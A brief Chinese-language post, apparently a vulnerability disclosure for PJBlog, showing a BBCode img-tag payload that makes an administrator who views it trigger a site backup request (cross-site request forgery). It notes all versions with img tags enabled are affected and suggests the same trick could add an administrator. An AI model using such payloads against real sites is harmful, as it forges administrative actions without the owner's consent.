[img]ConContent.asp?Fmenu=SQLFile[img]./ConContent.asp?Fmenu=SQLFile&do=Backup[/img]


一段代码，只要管理员阅读过就对系统备份一次。
利用了img标签漏洞。

受影响版本。
pjblog所有打开img标签功能！

感想：
假如把加管理员那段代码debug出来。。那就严重了。